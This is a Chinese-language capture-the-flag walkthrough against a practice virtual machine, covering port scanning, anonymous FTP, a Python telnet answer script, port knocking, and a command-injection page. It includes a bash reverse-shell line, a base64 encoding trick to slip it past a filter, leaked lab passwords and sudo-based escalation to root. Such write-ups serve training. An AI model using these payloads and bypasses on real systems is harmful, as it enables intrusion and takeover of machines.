一:信息收集
1:主机发现
arp-scan -I eth0 10.9.23.0/24
靶机IP
10.9.23.212
2:端口扫描
nmap -A -p- -T4 10.9.23.212
- ftp允许匿名登录
- 扫描ssh时被过滤了
- 1337不知道是个什么端口
- 7331端口是个 python环境的 web服务
3:端口探测
1:ftp端口
ftp 10.9.23.212
anonymous
查看文件
nitu:81299
nitish81299
2:1337端口
此端口运行的是telnet服务,用nc连接了一下,得到提示,连续正确回答问题1000次,会得到一个礼物。
nc -vv 10.9.23.212 1337
利用网上找到的脚本
coding:utf-8
import logging
import telnetlib
import time
import re
def main():
try:
tn = telnetlib.Telnet('10.9.23.212', port=1337)
except:
logging.warning("errr")
time.sleep(0.5)
loop = 1
while loop < 1002:
data = tn.read_very_eager().decode('ascii')
print(data)
res = re.search('(.*?)\s>', data).group(1)
datas = str(calc(res)).strip()
print(str(loop) + ":" + datas)
loop = loop + 1
tn.write(datas.encode('ascii') + b"\n")
time.sleep(0.1)
data = tn.read_very_eager().decode('ascii')
return data
def calc(res):
res_str = res.strip('(').strip(")").replace("'", "")
muns = res_str.split(',')
munber1 = muns[0].strip()
orperator = muns[1].strip()
munber2 = muns[2].strip()
res = eval(munber1 + orperator + munber2)
return res
print(main())
python 1.py运行脚本
1356, 6784, 3409
因为ssh是过滤的,联想到这三个数字可能是端口敲门的端口,用nc测试连接
nc 10.9.23.212 1356
nc 10.9.23.212 6784
nc 10.9.23.212 3409
nmap -p 22 10.9.23.212
也可以直接开启
knock 10.9.23.212 1356 6784 3409
3:7331端口
4:目录遍历
gobuster dir -u http://10.9.23.212:7331/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100
/genie
/wish
访问/wish
目录,看起来像是命令执行,测试一下,一旦执行下面的命令,页面会跳转,并通过审查元素可以定位出命令执行结果
二:渗透测试
1:反弹shell
bp抓包
反弹shell
bash -i >& /dev/tcp/10.9.23.212/6666 0>&1
被拦截了,尝试base64编码绕过
在kali里输入
└─# echo "bash -i &> /dev/tcp/10.9.23.112/6666 0>&1"|base64
在burp中输入
echo YmFzaCAtaSAmPiAvZGV2L3RjcC8xMC45LjIzLjExMi82NjY2IDA+JjEK | base64 -d | bash
按Ctrl+U,编码快捷键
反弹成功
2:提权
在 nitish 的家目录下发现了 nitish 的密码
nitish:p4ssw0rdStr3r0n9
su进行切换,并获得第一个user.txt
切换为pythonshell,这里不切换的话,不能使用su切换用户。
python3 -c 'import pty;pty.spawn("/bin/bash")'
查看sudo权限
这里genie命令可以使用sam的身份进行运行,而且无需passwd
使用sam的身份运行id,成功的切换为sam
sudo -u sam genie -cmd id
再次查看sudo权限
sudo -l
发现lago命令可以用root的身份运行,并且不需要passwd
sudo -u root /root/lago
输入num
则会运行system('/bin/sh')
若是用root的身份运行system('/bin/sh')
那么就会得到一个root的shell